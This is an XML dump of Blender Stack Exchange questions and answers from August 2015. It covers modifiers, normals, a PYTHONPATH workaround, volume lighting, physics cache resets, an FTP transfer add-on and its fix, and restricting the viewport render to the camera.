  <row Id="36195" PostTypeId="1" CreationDate="2015-08-22T13:25:35.960" Score="2" ViewCount="135" Body="&lt;p&gt;I have built a huge tower of blocks by using 3 modifiers that duplicate blocks on the x, y, and z axes. I applied 1 of the modifiers and separated (by loose parts), and this is what happened: &lt;a href=&quot;https://i.stack.imgur.com/ICBlN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ICBlN.png&quot; alt=&quot;after separating&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cubes before separating:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/w9SD5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/w9SD5.png&quot; alt=&quot;before separating&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modifier configuration and initial cubes:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ERfm2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ERfm2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of the cubes are touching; there is a tiny distance between them.&lt;/p&gt;&#xA;" OwnerUserId="16433" LastEditorUserId="1253" LastEditDate="2015-08-23T08:27:47.980" LastActivityDate="2015-08-23T08:27:47.980" Title="Strange behavior when separating by loose parts" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36196" PostTypeId="2" ParentId="36186" CreationDate="2015-08-22T14:32:02.440" Score="0" Body="&lt;p&gt;Use the shrinkwrap modifier. First set a Shrinkwrap modifier to the low poly(make sure it is in the same place as the high poly and larger than the high poly) then set the Target to the high poly with settings set to Nearest Surface Point.&lt;/p&gt;&#xA;" OwnerUserId="16470" LastActivityDate="2015-08-22T14:32:02.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36197" PostTypeId="2" ParentId="36187" CreationDate="2015-08-22T14:40:54.617" Score="2" Body="&lt;p&gt;This is a problem with the normals. Game engines will always display on only the side where the normals are pointing out. As far as I know, Blender does not allow  double sided normals, so make two planes, one for each side.&lt;/p&gt;&#xA;" OwnerUserId="16470" LastActivityDate="2015-08-22T14:40:54.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36198" PostTypeId="2" ParentId="27153" CreationDate="2015-08-22T14:51:42.520" Score="5" Body="&lt;p&gt;If the problem is related to having a PYTHONPATH environment variable set, you can do the following so you don't have to modify your PYTHONPATH variable. I am running 2.75a and this fixed my problem.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a batch file somewhere like your desktop&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To do so, create a blank .txt document and name it blender.bat (MAKE SURE THE EXTENSION IS .bat and not .txt)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit blender.bat and add the text below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set PYTHONPATH=&quot;&quot;&#xA;cd C:\Program Files\Blender Foundation\Blender\&#xA;start blender.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your blender path may be different, so make sure you find the correct path&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;run blender.bat&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will temporarily set the PYTHONPATH to &quot;&quot; (nothing) during your blender session but is restored after you close.&lt;/p&gt;&#xA;" OwnerUserId="16612" LastActivityDate="2015-08-22T14:51:42.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36199" PostTypeId="2" ParentId="36194" CreationDate="2015-08-22T15:25:48.607" Score="1" Body="&lt;p&gt;Well if you are simply trying to give the mesh object that has the hair particle system a different material than that of the hair strands itself, under the particle settings tab there is a section called Render where you can specify a different material for the hair strands than the emitter object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LbTzI.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LbTzI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16521" LastActivityDate="2015-08-22T15:25:48.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36200" PostTypeId="2" ParentId="36193" CreationDate="2015-08-22T16:22:09.957" Score="1" Body="&lt;p&gt;I'm not sure what happens with beach but there're several problems.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't plug output of the &lt;strong&gt;Normal map&lt;/strong&gt; into the Displacement input, see &lt;a href=&quot;https://blender.stackexchange.com/questions/16443/using-a-normal-map-together-with-a-bump-map&quot;&gt;this very good answer&lt;/a&gt; for more info. In your case it may be enough to use only normal maps. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider plugging image into the &lt;strong&gt;Normal Map&lt;/strong&gt; node if it's the result of processing with using &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?188339-Program-to-create-normal-maps&quot; rel=&quot;nofollow&quot;&gt;some programs&lt;/a&gt; where the result is image of purple color. Otherwise plug it into the &lt;strong&gt;Bump&lt;/strong&gt; node instead (the link above again can be helpful).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(less important) Why not using &lt;strong&gt;UV Map&lt;/strong&gt; node and &lt;strong&gt;Attribute&lt;/strong&gt; one instead ? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Regarding to UV maps I think it's better to search for some questions here or to ask new one (as it seems to be arranging and managing the UV maps). Basically you press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to average islands' scale and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; to make them fit in the texture space (pack them); but the exact way depends on situation, it may be needed to use some other tricks like stitching etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to read about &lt;a href=&quot;http://www.katsbits.com/tutorials/textures/how-not-to-make-normal-maps-from-photos-or-images.php&quot; rel=&quot;nofollow&quot;&gt;normal maps, how to and how not to bake normal maps and a lot more&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.blender.org/manual/render/blender_render/textures/mapping/uv/unwrapping.html?highlight=unwrap&quot; rel=&quot;nofollow&quot;&gt;wiki article&lt;/a&gt; for more info on creating, editing and managing UV maps.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-08-22T16:22:09.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36201" PostTypeId="2" ParentId="35541" CreationDate="2015-08-22T16:55:52.483" Score="2" Body="&lt;p&gt;Okay I am not sure about using some sort of 'Is Volume Ray' value to make a light source only illuminate a volume, but if you simply want a lamp/meshlight to only illuminate a volume scatter material, in the ray visibility settings of that light, you can leave only the 'Volume Scatter' ticked and the rest unticked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gtUo8.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gtUo8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that the light source may still end up illuminating the scene due to multiple volume bounces and the density of the volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simple scene with a point lamp directly above suzanne with a volume scatter material and a maximum of 32 volume bounces. The ray visibility is of the lamp directly above suzanne.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uLlvs.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uLlvs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the same scene except with only the 'Volume Scatter' ticked for the point lamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DDaTp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DDaTp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the same scene with only 8 volume bounces. You can see how there is more light exiting suzanne with 32 volume bounces than with 8, though it is a very small difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VhR4e.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VhR4e.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16521" LastActivityDate="2015-08-22T16:55:52.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36202" PostTypeId="1" CreationDate="2015-08-22T17:03:06.510" Score="1" ViewCount="35" Body="&lt;p&gt;I want a cam to zoom out and stop. but it looks silly when it goes from moving to full stop in a frame, so I need it to slow down a few frames before the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a  few guides, where I should edit the speed in the graph editor window but mine looks nothing like the ones others show. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;mine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WUbjf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WUbjf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why is it not the same ?&lt;/p&gt;&#xA;" OwnerUserId="16542" LastEditorUserId="241" LastEditDate="2015-08-22T17:14:34.813" LastActivityDate="2015-08-22T17:14:34.813" Title="Cam slowing down at end of path" Tags="&lt;animation&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2015-08-22T18:19:08.957" ContentLicense="CC BY-SA 3.0" />
  <row Id="36203" PostTypeId="1" AcceptedAnswerId="36204" CreationDate="2015-08-18T07:05:53.810" Score="0" ViewCount="1208" Body="&lt;p&gt;I am new to Blender and have never done any 3D animation or scene before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created this wrecking ball scene after a tutorial. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themightylc.bplaced.net/WreckingBall.blend&quot; rel=&quot;nofollow&quot;&gt;themightylc.bplaced.net/WreckingBall.blend&lt;/a&gt; (4 MB)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is, it won't animate anymore when I start the animation with Alt-A. The timeline &quot;ticks&quot; but everything stays in place. &#xA;I have done nothing but the modeling, changing physics and running the Animation. No idea how or why to use keyframes. Could that be the mistake? Did I ruin this file somehow? If i can't &quot;reset&quot; this, please tell me what i have done wrong to avoid this in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="16629" OwnerDisplayName="themightylc" LastActivityDate="2015-08-22T17:20:08.173" Title="Reset Blender Scene" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36204" PostTypeId="2" ParentId="36203" CreationDate="2015-08-20T14:15:27.367" Score="1" Body="&lt;p&gt;It would appear the physics cache may be the issue. You can either set the start frame to 1 and play, then set it back to 40 or you can re-bake the simulation. In the Rigid Body Cache settings you will find buttons to &quot;Bake All Dynamics&quot; and &quot;Update All To Frame&quot;, either will get things running again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/d4uhP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d4uhP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2015-08-20T14:15:27.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36205" PostTypeId="1" AcceptedAnswerId="36206" CreationDate="2015-08-20T00:11:52.340" Score="0" ViewCount="433" Body="&lt;p&gt;Can some one help me with my blender ftp code, It runs fine in the text edit but when it turn it into a plugin and run it there is an error with &lt;code&gt;initSceneProperties(bpy.context.scene)&lt;/code&gt; and I can not get to run at all.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;FTP Download&quot;,&#xA;    &quot;category&quot;: &quot;Object&quot;,&#xA;}&#xA;from ftplib import FTP&#xA;import bpy&#xA;from bpy.props import *&#xA;&#xA;&#xA;def initSceneProperties(scn):&#xA;    bpy.types.Scene.Ip = StringProperty(&#xA;        name = &quot;Ip&quot;)                      # IP&#xA;    scn['Ip'] = &quot;000.00.000.000&quot;&#xA;&#xA;    bpy.types.Scene.Uname = StringProperty(&#xA;        name = &quot;User Name&quot;)                # user name&#xA;    scn['Uname'] = &quot;anonymous&quot;&#xA;&#xA;    bpy.types.Scene.Pword = StringProperty(&#xA;            name = &quot;Password&quot;)              # password&#xA;    scn['Pword'] = &quot;&quot;    &#xA;&#xA;    bpy.types.Scene.SFN = StringProperty(&#xA;                name = &quot;Server File Name&quot;)      # server file name          =   SFN&#xA;    scn['SFN'] = &quot;File name&quot;    &#xA;&#xA;    bpy.types.Scene.SFD = StringProperty(&#xA;                name = &quot;Server File Directory&quot;)      # server file directory     =   SFD&#xA;    scn['SFD'] = &quot;File directory&quot;    &#xA;&#xA;    bpy.types.Scene.CFN = StringProperty(&#xA;                name = &quot;Computer File Name&quot;)      # computer file name          =   CFN&#xA;    scn['CFN'] = &quot;File name&quot;    &#xA;&#xA;    bpy.types.Scene.CFD = StringProperty(&#xA;                name = &quot;Computer File Directory&quot;)      # computer file directory     =   CFD&#xA;    scn['CFD'] = &quot;File directory&quot;    &#xA;    return&#xA;initSceneProperties(bpy.context.scene)&#xA;&#xA;&#xA;class UIPanel(bpy.types.Panel):&#xA;    bl_label = &quot;Property panel&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;UI&quot;&#xA;&#xA;    def draw(self, context):&#xA;&#xA;        layout = self.layout&#xA;        scn = context.scene&#xA;        layout.prop(scn, 'Ip')&#xA;        layout.prop(scn, 'Uname')&#xA;        layout.prop(scn, 'Pword')&#xA;        layout.prop(scn, 'SFN')&#xA;        layout.prop(scn, 'SFD')&#xA;        layout.prop(scn, 'CFN')&#xA;        layout.prop(scn, 'CFD')&#xA;        layout.operator(&quot;ftp.download&quot;, text='Open', icon='FILE_FOLDER')&#xA;        layout.operator(&quot;ftp.upload&quot;, text='Save', icon='FILE_TICK')&#xA;&#xA;class FTPDownload(bpy.types.Operator):&#xA;    bl_idname = &quot;ftp.download&quot;         # unique identifier for buttons and menu items to reference.&#xA;    bl_label = &quot;FTP download&quot;          # display name in the interface.&#xA;&#xA;    def execute(self, context):&#xA;        scn = context.scene&#xA;        #------------------------------------#&#xA;        ip = scn['Ip']&#xA;        uname = scn['Uname']&#xA;        pword = scn['Pword'] &#xA;&#xA;        ftp = FTP(ip)                        # login&#xA;        print(&quot;Loging into&quot;, ip)             #&#xA;        print(ftp.login(uname,pword))#&#xA;        #------------------------------------# &#xA;        sfd = scn['SFD']&#xA;        ftp.cwd(sfd)                         # Path&#xA;        filename = scn['SFN']                # Filename &#xA;        parth = scn['CFD']                   # Destination parth &#xA;        new_name = scn['CFN']                # Destination name&#xA;        #------------------------------------#&#xA;        local_filename = os.path.join(parth, new_name)&#xA;        file = open(local_filename,'wb')&#xA;        ftp.retrbinary('RETR ' + filename, file.write)&#xA;        print(&quot;Receiving file&quot;)&#xA;        print(ftp.quit())&#xA;        file.close()&#xA;        return {'FINISHED'}&#xA;&#xA;class FTPUpload(bpy.types.Operator):&#xA;    bl_idname = &quot;ftp.upload&quot;           # unique identifier for buttons and menu items to reference.&#xA;    bl_label = &quot;FTP upload&quot;            # display name in the interface.&#xA;    bl_options = {'REGISTER', 'UNDO'}  # enable undo for the operator.&#xA;&#xA;    def execute(self, context):&#xA;        scn = context.scene&#xA;        #------------------------------------+&#xA;        ip = scn['Ip']&#xA;        uname = scn['Uname']&#xA;        pword = scn['Pword']      &#xA;        ftp = FTP(ip)                        # login&#xA;        print(&quot;Loging into&quot;, ip)             #&#xA;        print(ftp.login(uname,pword)) &#xA;        #------------------------------------+&#xA;        parth = scn['CFD']                   # Path&#xA;        filename = scn['CFN']                # Filename&#xA;        new_name = scn['SFN']&#xA;        sfd = scn['SFD']&#xA;        ftp.cwd(sfd)      &#xA;        #------------------------------------+&#xA;        local_filename = os.path.join(parth, filename)&#xA;        ftp.storbinary('STOR ' +new_name, open(local_filename,'rb'))&#xA;        print(&quot;Receiving file&quot;)&#xA;        print(ftp.quit())&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16625" OwnerDisplayName="Ashlin" LastActivityDate="2015-08-22T17:21:29.157" Title="blender python plugin error" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36206" PostTypeId="2" ParentId="36205" CreationDate="2015-08-20T14:59:43.390" Score="0" Body="&lt;p&gt;After you define &lt;code&gt;initSceneProperties()&lt;/code&gt; you then call the function, you need to remove that, to call the function when the addon is enabled you can add it to &lt;code&gt;register()&lt;/code&gt;. The error you are getting is because when the addon is enabled there is no context (you are trying to use bpy.context.scene), you cannot access any of blender's data during the register process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would appear that you want to set a default value after you add properties to the scene class, to do this you can set the default value for the property.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.Ip = StringProperty(name = &quot;Ip&quot;, default=&quot;000.00.000.000&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That would lead you to the following version of your script -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;FTP Download&quot;,&#xA;    &quot;description&quot;: &quot;Transfer files to/from an ftp server&quot;,&#xA;    &quot;author&quot;: &quot;Ashlin&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 73, 0),&#xA;    &quot;location&quot;: &quot;3D View &amp;gt; Properties panel&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;Object&quot;}&#xA;&#xA;from ftplib import FTP&#xA;import bpy&#xA;from bpy.props import *&#xA;&#xA;&#xA;def initSceneProperties():&#xA;    # server IP address&#xA;    bpy.types.Scene.Ip = StringProperty(&#xA;        name = &quot;Ip&quot;, default=&quot;000.000.000.000&quot;)&#xA;&#xA;    # ftp user name&#xA;    bpy.types.Scene.Uname = StringProperty(&#xA;        name = &quot;User Name&quot;, default=&quot;anonymous&quot;)&#xA;&#xA;    # password&#xA;    bpy.types.Scene.Pword = StringProperty(&#xA;        name = &quot;Password&quot;, default=&quot;&quot;)&#xA;&#xA;    # server file name&#xA;    bpy.types.Scene.SFN = StringProperty(&#xA;        name = &quot;Server File Name&quot;, default=&quot;File name&quot;)&#xA;&#xA;    # server file directory&#xA;    bpy.types.Scene.SFD = StringProperty(&#xA;        name = &quot;Server File Directory&quot;, default=&quot;File directory&quot;)&#xA;&#xA;    # local file name&#xA;    bpy.types.Scene.CFN = StringProperty(&#xA;        name = &quot;Computer File Name&quot;, default=&quot;File name&quot;)&#xA;&#xA;    # local file directory&#xA;    bpy.types.Scene.CFD = StringProperty(&#xA;        name = &quot;Computer File Directory&quot;, default=&quot;File directory&quot;)&#xA;&#xA;&#xA;class UIPanel(bpy.types.Panel):&#xA;    bl_label = &quot;FTP Downloader&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;UI&quot;&#xA;&#xA;    def draw(self, context):&#xA;&#xA;        layout = self.layout&#xA;        scn = context.scene&#xA;        layout.prop(scn, 'Ip')&#xA;        layout.prop(scn, 'Uname')&#xA;        layout.prop(scn, 'Pword')&#xA;        layout.prop(scn, 'SFN')&#xA;        layout.prop(scn, 'SFD')&#xA;        layout.prop(scn, 'CFN')&#xA;        layout.prop(scn, 'CFD')&#xA;        layout.operator(&quot;ftp.download&quot;, text='Open', icon='FILE_FOLDER')&#xA;        layout.operator(&quot;ftp.upload&quot;, text='Save', icon='FILE_TICK')&#xA;&#xA;class FTPDownload(bpy.types.Operator):&#xA;    bl_idname = &quot;ftp.download&quot;         # unique identifier for buttons and menu items to reference.&#xA;    bl_label = &quot;FTP download&quot;          # display name in the interface.&#xA;&#xA;    def execute(self, context):&#xA;        scn = context.scene&#xA;        #------------------------------------#&#xA;        ip = scn['Ip']&#xA;        uname = scn['Uname']&#xA;        pword = scn['Pword']&#xA;&#xA;        ftp = FTP(ip)                        # login&#xA;        print(&quot;Loging into&quot;, ip)             #&#xA;        print(ftp.login(uname,pword))#&#xA;        #------------------------------------#&#xA;        sfd = scn['SFD']&#xA;        ftp.cwd(sfd)                         # Path&#xA;        filename = scn['SFN']                # Filename&#xA;        parth = scn['CFD']                   # Destination parth&#xA;        new_name = scn['CFN']                # Destination name&#xA;        #------------------------------------#&#xA;        local_filename = os.path.join(parth, new_name)&#xA;        file = open(local_filename,'wb')&#xA;        ftp.retrbinary('RETR ' + filename, file.write)&#xA;        print(&quot;Receiving file&quot;)&#xA;        print(ftp.quit())&#xA;        file.close()&#xA;        return {'FINISHED'}&#xA;&#xA;class FTPUpload(bpy.types.Operator):&#xA;    bl_idname = &quot;ftp.upload&quot;           # unique identifier for buttons and menu items to reference.&#xA;    bl_label = &quot;FTP upload&quot;            # display name in the interface.&#xA;    bl_options = {'REGISTER', 'UNDO'}  # enable undo for the operator.&#xA;&#xA;    def execute(self, context):&#xA;        scn = context.scene&#xA;        #------------------------------------+&#xA;        ip = scn['Ip']&#xA;        uname = scn['Uname']&#xA;        pword = scn['Pword']&#xA;        ftp = FTP(ip)                        # login&#xA;        print(&quot;Loging into&quot;, ip)             #&#xA;        print(ftp.login(uname,pword))&#xA;        #------------------------------------+&#xA;        parth = scn['CFD']                   # Path&#xA;        filename = scn['CFN']                # Filename&#xA;        new_name = scn['SFN']&#xA;        sfd = scn['SFD']&#xA;        ftp.cwd(sfd)&#xA;        #------------------------------------+&#xA;        local_filename = os.path.join(parth, filename)&#xA;        ftp.storbinary('STOR ' +new_name, open(local_filename,'rb'))&#xA;        print(&quot;Receiving file&quot;)&#xA;        print(ftp.quit())&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    initSceneProperties()&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2015-08-22T10:51:17.923" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36207" PostTypeId="2" ParentId="36153" CreationDate="2015-08-22T17:44:24.670" Score="0" Body="&lt;p&gt;You could use the cloth simulation with the material set to rubber to simulate how the shape of the suction cup changes. If you want to get a more physically accurate model of how the suction cup would work then writing a script to simulate it would also work.&lt;/p&gt;&#xA;" OwnerUserId="16614" LastActivityDate="2015-08-22T17:44:24.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36208" PostTypeId="1" CreationDate="2015-08-22T17:49:11.813" Score="0" ViewCount="143" Body="&lt;p&gt;I can take 2 edges bisector angle value with middle = (theta1+theta2)/2, but I dont know how to calculate rotation value that direction is always outwards from the corner.&#xA;I need rotation value for rotating object from its 0,0,0 rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes rotation is right and sometimes opposite, depending of the angle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code: &lt;a href=&quot;http://www.pasteall.org/60689&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/60689&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/R53lH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R53lH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/L2LAQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L2LAQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7474" LastEditorUserId="7474" LastEditDate="2015-08-23T18:14:25.317" LastActivityDate="2015-08-23T18:14:25.317" Title="How to calculate rotation value of 2 connected edges corner" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36210" PostTypeId="1" AcceptedAnswerId="36212" CreationDate="2015-08-22T18:19:28.990" Score="7" ViewCount="12827" Body="&lt;p&gt;Is it possible to enable viewport rendering, but when in camera mode, restrict it to only inside the camera?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current workaround is to hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; for render boarders, and select as much of my camera as possible.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="599" LastEditDate="2015-08-22T19:09:17.393" LastActivityDate="2017-08-11T05:44:49.657" Title="Can I restrict viewport render to inside the camera" Tags="&lt;rendering&gt;&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36212" PostTypeId="2" ParentId="36210" CreationDate="2015-08-22T18:51:59.123" Score="4" Body="&lt;p&gt;Yes, albeit through a rather cumbersome process.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select a border larger than the camera (this will set the border how you want, but then disable it)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Re-enable render border&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7LwVc.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7LwVc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually &lt;a href=&quot;https://developer.blender.org/D712&quot; rel=&quot;nofollow noreferrer&quot;&gt;wrote a patch&lt;/a&gt; to expedite this process by removing the &quot;auto disable&quot; behavior. However opinion was divided on weather or not removing the auto disabling was an improvement (IMO it is), so the patch was not accepted (yet!)..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any feedback or ideas how to implement a faster, more convenient workflow, by all means leave a comment on the &lt;a href=&quot;https://developer.blender.org/D712&quot; rel=&quot;nofollow noreferrer&quot;&gt;revision page&lt;/a&gt; :)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-08-22T19:04:47.917" LastActivityDate="2015-08-22T19:04:47.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36213" PostTypeId="2" ParentId="36210" CreationDate="2015-08-22T18:52:13.433" Score="5" Body="&lt;p&gt;Pablo Vazquez has created an addon called the &lt;a href=&quot;http://pablovazquez.org/amaranth/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Amaranth Toolset&lt;/a&gt; which (among a ton of other useful features) adds a way to do exactly what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the addon is installed just go into camera view and hit &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;camera as render border&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dXcrv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dXcrv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-08-22T18:52:13.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
